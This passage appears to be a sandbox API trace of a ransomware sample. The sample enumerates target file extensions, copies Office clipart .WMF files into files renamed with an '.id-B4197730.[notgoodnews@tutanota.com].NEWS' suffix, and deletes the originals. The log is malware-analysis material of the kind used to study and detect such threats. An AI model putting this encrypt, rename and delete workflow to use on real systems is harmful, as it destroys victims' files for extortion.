lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0176.412] lstrlenW (lpString=".docx") returned 5 [0176.412] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0176.412] lstrlenW (lpString=".pdf") returned 4 [0176.412] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0176.412] lstrlenW (lpString=".xls") returned 4 [0176.412] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0176.412] lstrlenW (lpString=".xlsx") returned 5 [0176.412] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0176.412] lstrlenW (lpString=".ppt") returned 4 [0176.412] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0176.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0176.412] lstrlenW (lpString=".zip") returned 4 [0176.413] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0176.413] lstrlenW (lpString=".rar") returned 4 [0176.413] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0176.413] lstrlenW (lpString=".bz2") returned 4 [0176.413] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0176.413] lstrlenW (lpString=".7z") returned 3 [0176.413] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0176.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0176.413] lstrlenW (lpString=".dbf") returned 4 [0176.413] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0176.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0176.413] lstrlenW (lpString=".1cd") returned 4 [0176.413] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0176.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0176.413] lstrlenW (lpString=".jpg") returned 4 [0176.413] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0176.413] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0176.413] lstrlenW (lpString="J0105398.WMF") returned 12 [0176.413] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105398.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0176.476] GetFileSizeEx (in: hFile=0x4dc, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=3328) returned 1 [0176.476] CloseHandle (hObject=0x4dc) returned 1 [0176.476] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105398.wmf")) returned 0x220 [0176.547] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105398.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0176.610] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105398.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0176.658] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0176.658] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0176.658] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105398.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0176.857] GetLastError () returned 0x0 [0176.857] ReadFile (in: hFile=0x554, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0xd00, lpOverlapped=0x0) returned 1 [0176.866] WriteFile (in: hFile=0x514, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0xd10, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0xd10, lpOverlapped=0x0) returned 1 [0176.867] ReadFile (in: hFile=0x554, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0176.867] WriteFile (in: hFile=0x514, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0176.867] SetEndOfFile (hFile=0x514) returned 1 [0176.867] CloseHandle (hObject=0x514) returned 1 [0176.867] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0176.867] SetEndOfFile (hFile=0x554) returned 1 [0176.870] CloseHandle (hObject=0x554) returned 1 [0176.870] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0177.170] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105398.wmf")) returned 1 [0177.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0177.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0177.387] lstrlenW (lpString=".doc") returned 4 [0177.387] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0177.387] lstrlenW (lpString=".docx") returned 5 [0177.387] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0177.387] lstrlenW (lpString=".pdf") returned 4 [0177.387] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0177.387] lstrlenW (lpString=".xls") returned 4 [0177.387] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0177.387] lstrlenW (lpString=".xlsx") returned 5 [0177.387] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0177.387] lstrlenW (lpString=".ppt") returned 4 [0177.387] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0177.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0177.387] lstrlenW (lpString=".zip") returned 4 [0177.387] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0177.388] lstrlenW (lpString=".rar") returned 4 [0177.388] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0177.388] lstrlenW (lpString=".bz2") returned 4 [0177.388] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0177.388] lstrlenW (lpString=".7z") returned 3 [0177.388] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0177.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0177.388] lstrlenW (lpString=".dbf") returned 4 [0177.388] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0177.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0177.388] lstrlenW (lpString=".1cd") returned 4 [0177.388] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0177.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0177.388] lstrlenW (lpString=".jpg") returned 4 [0177.388] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0177.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0177.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0177.388] lstrlenW (lpString=".doc") returned 4 [0177.388] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0177.388] lstrlenW (lpString=".docx") returned 5 [0177.388] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0177.389] lstrlenW (lpString=".pdf") returned 4 [0177.389] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0177.389] lstrlenW (lpString=".xls") returned 4 [0177.389] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0177.389] lstrlenW (lpString=".xlsx") returned 5 [0177.389] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0177.389] lstrlenW (lpString=".ppt") returned 4 [0177.389] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0177.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0177.389] lstrlenW (lpString=".zip") returned 4 [0177.389] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0177.389] lstrlenW (lpString=".rar") returned 4 [0177.389] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0177.389] lstrlenW (lpString=".bz2") returned 4 [0177.389] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0177.389] lstrlenW (lpString=".7z") returned 3 [0177.389] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0177.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0177.389] lstrlenW (lpString=".dbf") returned 4 [0177.389] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0177.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0177.389] lstrlenW (lpString=".1cd") returned 4 [0177.389] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0177.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0177.390] lstrlenW (lpString=".jpg") returned 4 [0177.390] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0177.390] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0177.390] lstrlenW (lpString="J0105530.WMF") returned 12 [0177.390] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105530.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0177.391] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=7384) returned 1 [0177.391] CloseHandle (hObject=0x454) returned 1 [0177.392] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105530.wmf")) returned 0x220 [0177.392] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105530.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0177.392] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105530.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0177.392] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.393] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.393] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105530.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0177.724] GetLastError () returned 0x0 [0177.724] ReadFile (in: hFile=0x454, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x1cd8, lpOverlapped=0x0) returned 1 [0178.093] WriteFile (in: hFile=0x450, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0x1ce0, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0x1ce0, lpOverlapped=0x0) returned 1 [0178.094] ReadFile (in: hFile=0x454, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.094] WriteFile (in: hFile=0x450, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0178.095] SetEndOfFile (hFile=0x450) returned 1 [0178.478] CloseHandle (hObject=0x450) returned 1 [0178.478] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.478] SetEndOfFile (hFile=0x454) returned 1 [0178.482] CloseHandle (hObject=0x454) returned 1 [0178.482] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0179.546] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105530.wmf")) returned 1 [0179.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0179.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0179.548] lstrlenW (lpString=".doc") returned 4 [0179.548] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.548] lstrlenW (lpString=".docx") returned 5 [0179.548] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0179.548] lstrlenW (lpString=".pdf") returned 4 [0179.548] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.548] lstrlenW (lpString=".xls") returned 4 [0179.548] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.548] lstrlenW (lpString=".xlsx") returned 5 [0179.548] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0179.548] lstrlenW (lpString=".ppt") returned 4 [0179.548] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0179.548] lstrlenW (lpString=".zip") returned 4 [0179.548] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.548] lstrlenW (lpString=".rar") returned 4 [0179.548] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.548] lstrlenW (lpString=".bz2") returned 4 [0179.548] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.548] lstrlenW (lpString=".7z") returned 3 [0179.548] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0179.548] lstrlenW (lpString=".dbf") returned 4 [0179.548] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0179.549] lstrlenW (lpString=".1cd") returned 4 [0179.549] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0179.549] lstrlenW (lpString=".jpg") returned 4 [0179.549] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0179.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0179.549] lstrlenW (lpString=".doc") returned 4 [0179.549] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.549] lstrlenW (lpString=".docx") returned 5 [0179.549] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0179.549] lstrlenW (lpString=".pdf") returned 4 [0179.549] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.549] lstrlenW (lpString=".xls") returned 4 [0179.549] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.549] lstrlenW (lpString=".xlsx") returned 5 [0179.549] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0179.549] lstrlenW (lpString=".ppt") returned 4 [0179.549] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0179.550] lstrlenW (lpString=".zip") returned 4 [0179.550] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.550] lstrlenW (lpString=".rar") returned 4 [0179.550] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.550] lstrlenW (lpString=".bz2") returned 4 [0179.550] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.550] lstrlenW (lpString=".7z") returned 3 [0179.550] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0179.550] lstrlenW (lpString=".dbf") returned 4 [0179.550] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0179.550] lstrlenW (lpString=".1cd") returned 4 [0179.550] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0179.550] lstrlenW (lpString=".jpg") returned 4 [0179.550] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.550] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0179.550] lstrlenW (lpString="J0106124.WMF") returned 12 [0179.550] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106124.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0179.552] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=5812) returned 1 [0179.552] CloseHandle (hObject=0x36c) returned 1 [0179.552] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106124.wmf")) returned 0x220 [0179.553] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106124.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0179.553] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106124.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0179.553] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.553] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.554] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106124.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0179.555] GetLastError () returned 0x0 [0179.555] ReadFile (in: hFile=0x36c, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x16b4, lpOverlapped=0x0) returned 1 [0179.562] WriteFile (in: hFile=0x554, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0x16c0, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0x16c0, lpOverlapped=0x0) returned 1 [0179.563] ReadFile (in: hFile=0x36c, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0179.563] WriteFile (in: hFile=0x554, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0179.564] SetEndOfFile (hFile=0x554) returned 1 [0179.564] CloseHandle (hObject=0x554) returned 1 [0179.564] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.564] SetEndOfFile (hFile=0x36c) returned 1 [0179.568] CloseHandle (hObject=0x36c) returned 1 [0179.568] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0179.568] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106124.wmf")) returned 1 [0179.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68 [0179.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68 [0179.570] lstrlenW (lpString=".doc") returned 4 [0179.570] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.570] lstrlenW (lpString=".docx") returned 5 [0179.570] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0179.570] lstrlenW (lpString=".pdf") returned 4 [0179.570] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.570] lstrlenW (lpString=".xls") returned 4 [0179.570] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.570] lstrlenW (lpString=".xlsx") returned 5 [0179.570] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0179.570] lstrlenW (lpString=".ppt") returned 4 [0179.570] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68 [0179.570] lstrlenW (lpString=".zip") returned 4 [0179.570] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.570] lstrlenW (lpString=".rar") returned 4 [0179.570] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.570] lstrlenW (lpString=".bz2") returned 4 [0179.570] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.570] lstrlenW (lpString=".7z") returned 3 [0179.570] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68 [0179.570] lstrlenW (lpString=".dbf") returned 4 [0179.570] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68 [0179.571] lstrlenW (lpString=".1cd") returned 4 [0179.571] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68 [0179.571] lstrlenW (lpString=".jpg") returned 4 [0179.571] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68 [0179.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68 [0179.571] lstrlenW (lpString=".doc") returned 4 [0179.571] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.571] lstrlenW (lpString=".docx") returned 5 [0179.571] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0179.571] lstrlenW (lpString=".pdf") returned 4 [0179.571] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.571] lstrlenW (lpString=".xls") returned 4 [0179.571] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.571] lstrlenW 